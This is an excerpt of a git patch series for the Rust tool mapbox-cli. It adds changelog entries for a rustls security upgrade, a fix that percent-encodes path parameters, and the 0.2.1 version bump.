`-o json` now carries clap's own suggestion as `fix`: + `mapbox styles lst` answers `"fix": "A similar subcommand exists: 'list'"`. + Clap renders that tip in a paragraph of its own, and `message` is built from + the first one, so `json` consumers — scripts and agents — were the only ones + not told what was probably meant. It matters most for the renames above: a + script pinned to a command that no longer exists now gets a pointer to the + one that replaced it. `-o text` is unchanged, where clap already printed it. + Misspelled flags are covered too. + +### Security + +- `rustls` moved to 0.23.45, fixing + [RUSTSEC-2026-0285](https://rustsec.org/advisories/RUSTSEC-2026-0285) — + "TLS 1.3 handshake messages incorrectly accepted across encryption level + boundaries", medium severity, published 2026-09-14. `rustls` is reached + through `reqwest`, so every HTTPS request this CLI makes used the affected + version; nothing in the crate itself had to change. Fixed in + [mapbox/mapbox-cli#2](https://github.com/mapbox/mapbox-cli/pull/2). + ## 0.1.8 - 2026-09-14 Initial beta release. The next release is `0.2.0`. From 5047a5d370ca65c47187cd5f65e6ec69c8c45528 Mon Sep 17 00:00:00 2001 From: Mofei Zhu <13761509829@163.com> Date: Tue, 15 Sep 2026 12:39:34 +0300 Subject: [PATCH 8/9] Add the path-parameter encoding fix's changelog entry Ported from mapbox-cli-private's path-param-changelog branch, which wrote it into that repo's CHANGELOG.md before #20 made this file canonical. See #15 for the fix itself. --- CHANGELOG.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 685d0bb..388db13 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -19,6 +19,20 @@ that may never merge. They are not releases and are not listed here. ## Unreleased +### Fixed + +- A path parameter can no longer change the shape of the request URL. Values + are substituted into a path template, so one carrying URL syntax altered + where the request went rather than naming a segment in it: `?` appended + query parameters the caller never asked for, `..` (and its backslash + spelling) moved the path, and `#` truncated it — each with the caller's + token and the command's method attached. The host was never reachable, so + nothing could be directed at another server. `/`, `?`, `#` and `\` are now + percent-encoded, and a value of `.` or `..` is refused as + `invalid_path_parameter`. Punctuation these values legitimately carry — a + static-images overlay, `@2x`, `.png`, a comma-separated coordinate — is + untouched. See [#15](https://github.com/mapbox/mapbox-cli/pull/15). + ## 0.2.0 - 2026-09-14 ### Added From 603316e62671a72b49f13aa681b34d2013deb05b Mon Sep 17 00:00:00 2001 From: Mofei Zhu <13761509829@163.com> Date: Tue, 15 Sep 2026 14:26:37 +0300 Subject: [PATCH 9/9] Cut 0.2.1 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Carries the path-parameter encoding fix (#15) that's been sitting on this branch since it was cut, along with the CI timeout fix (#14), the private-repo doc de-linking (#16) and update-check version validation (#18) — none of which had reached main. See CHANGELOG.md for what 0.2.1 actually changes user-facing behavior. --- CHANGELOG.md | 2 ++ Cargo.lock | 2 +- Cargo.toml | 2 +- 3 files changed, 4 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 388db13..33a4be7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -19,6 +19,8 @@ that may never merge. They are not releases and are not listed here. ## Unreleased +## 0.2.1 - 2026-09-15 + ### Fixed - A path parameter can no longer change the shape of the request URL. Values diff --git a/Cargo.lock b/Cargo.lock index 292273f..8407554 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -751,7 +751,7 @@ checksum = "4050469837a6ff301cd14c1f8f24f88549e6d548f24f64e2148eb0f72cebc51f" [[package]] name = "mapbox-cli" -version = "0.2.0" +version = "0.2.1" dependencies = [ "anyhow", "base64", diff --git a/Cargo.toml b/Cargo.toml index f44d419..c7b78d2 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "mapbox-cli" -version = "0.2.0" +version = "0.2.1" edition = "2021" description = "A command-line interface for Mapbox APIs, with commands generated at build time from OpenAPI specs." repository = "https://github.com/mapbox/cli"